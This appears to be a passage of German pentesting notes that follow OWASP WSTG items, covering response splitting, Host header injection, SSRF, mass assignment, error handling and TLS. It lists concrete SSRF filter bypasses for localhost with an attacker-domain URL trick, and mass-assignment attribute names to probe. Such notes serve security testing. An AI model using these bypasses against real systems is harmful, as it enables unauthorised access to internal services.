Dies ermöglicht, dass derr Inhalt des zweiten Web Requests an andere Nutzer zurückgibt. Alternativ ist es möglich diesen Nutzern ein Javascript unterzuschieben um Cookies zu klauen. Um diese Schwachstelle auszunutzen, muss der Angreifer eine Möglichkeit finden, einen Header in der Response zu beeinflussen. Die Wahrscheinlichsten header hierfür sind: Location und Set-Cookie.
Für einen erfolgreichen Angriff in einem echten Szenario gibt es die folgenden Dinge zu beachten:
1. Der Pentester muss die Header in der gefälschten Antwort richtig setzen. Wie den Last-Modified header mit einem Datum in der Zukunft. Zudem kann es nötig sein vorherige Versionen aus dem Cache zu entfernen. Dazu muss die Direktive Pragma: no-cache gesetzt werden.
2. Falls die Anwendung CR+LF Sequenzen nicht filtert, kann es dennoch sein, dass andere Zeichen gefiltert werden. Dazu können beispielsweise andere Enkodierungen genutzt werden, wie UTF-7.
3. Manche Ziele wie ASP URL enkodieren den Location header. Dies macht eine CRLF Sequenz nutzlos. Allerdings schlägt es fehl die query Sektion zu enkodieren.
# WSTG-INPV-16 Test auf eintreffende HTTP Anfragen
Überprüfung der eingehenden und ausgehenden Requests mit Tools wie Burp. Muss nicht extra geprüft werden, da dies automatisch passiert.
# WSTG-INPV-17 Test auf Host Header Injection
Der Host Header wird benutzt um Anfragen an unterschiedliche vhosts weiterzuleiten um von einem Server aus mehrere Webseiten anzubieten. Wird ein ungültiger vhost genutzt wird die Anfrage oft an einen Standard vhost weitergeleitet.
- Setzen des Host Header auf eine vom Angreifer kontrollierte Domain
- Nutzen des X-Forwarded-Host Header
- Auch kann dadurch ein Web Cache Poisoning Angriff durchgeführt werden. Indem der Passwort Link mithilfe eines manipulierten Host Headers generiert wird.
- Auch können interne Domains genutzt werden um auf interne Systeme zuzugreifen oder Zugrifskontrollen zu umgehen.

WSTG-INPV-18 Testing auf Server seitigem Template Injection

Template Injections burp injection vulnerability finder Standalone

WSTG-INPV-19 Server-Side Request Forgery

Manche Applikationen greifen auf extere/interne Dienste zu. Ist dies der Fall kann eine Server-Side Request Forgery Schwachstelle auftreten. Die häufigste Schwachstelle die ausgenutzt wird ist File Inclusion. In manchen Fällen konvertiert ein Server hochgeladene Daten auch zu PDF Daten. Hierbei kann es hilfreich sein, die Elemente <iframe>, <img>, <base> oder <script> injiziert werden. Zudem könnte auch das CSS Element url() helfen.

umgehen der Filter

Manche Applikationen blockieren Verbindungen zu localhost und 127.0.0.1. Dies kann mit den folgenden Repräsentationen umgangen werden: - Dezimale Schreibweise: 2130706433 - Oktale Schreibweise: 017700000001 - IP kürzen: 127.1 - String obfuskierung - Registrieren einer Domain die zu 127.0.0.1 auflöst. - Nutzen des @ Zeichens, um zwischen Nutzerinfo und Host zu teilen: https://expected-domain@attacker-domain - URL Fragmentierung mit dem # Zeichen: https://attacker-domain#expected-domain - URL enkodierung - Fuzzing - Kombinationen der verschiedenen Möglichkeiten

Swisskyrepo

WSTG-INPV-20 Testen auf Massenzuordnung

Manche Frameworks wandeln HTTP request Parameter in interne Objekte um. Dies wird häufig als autobinding bezeichnet. Dadurch kann manchmal auf Felder zugegriffen werden, auf welche eigentlich nicht zugegriffen werden darf. Beispiele sensitiver Eigenschaften: - Erlaubnisbezogene Eigenschaften, wie privilegierte Nutzer: is_admin, role und approved. - Prozess abhängige Eigenschaften: balance, status und email_verified. - Interne Eigenschaften: created_at und updated_at. Eines der einfachsten Anzeichen um diese Schwachstelle zu erkennen ist die Verwendung der eckigen Klammern: 

<input name="user[name]" type="text">
Liste mit möglichen Attributen - is_admin - is_administrator - isAdmin - isAdministrator - admin - administrator - role OWASP Cheat Sheet

WSTG-ERRH-01 Prüfung auf unsachgemäße Fehlerbehandlung

Fehler die auftreten können: - stack traces - Netzwerk Timeouts - Eingabefehler - Speicherauszüge Fehler auslösen: - nicht existente Daten (404) - Anfragen von existierenden Verzeichnissen - Brechen des HTTP RFC. - sehr großer Pfad - header Format brechen - Ändern der HTTP Version - Nicht akzeptierte Zeichen

WSTG-CRYP-01 Schwache Transport Schicht Sicherheit

Die möglichen Attacken wurden oftmals in Laborumgebungen getestet und benötigen oft auch eine MitM Attacke. Durch diese komplexizität, werden diese Angriffe eher von Staaten und APT's ausgenutzt. - Digitale Zertifikate - Schlüssellänge > 2048 bits - Signaturalgorithmus >= SHA-256 Mozilla's TLS Cheat Sheet OWASP TLS Cheat Sheet Sogenannter Mixed Content, bei welchem einzelne Ressourcen über ungesicherte Verbindungen abläuft, wie CSS kann auch zu Sicherheitsproblemen führen. Dies kann einem Angreifer bei CSS oder Javascript dazu führen, dass Code eingeschleust wird. Passiver Kontent kann dazu führen, dass ein Angreifer imstande ist die Webseite zu demaskieren oder Informationen leaken.

Verbindet sich ein Nutzer zu einem HTTP Port, welcher an einen HTTPS Port weiterleitet und dieser Request abgefangen wird, kann ein Angreifer den Nutzer zu einer schadhaften Webseite weiterleiten. Dies kann verhindert werden, wenn das preload feature genutzt wird. https://hstspreload.org/ https://github.com/moxie0/sslstrip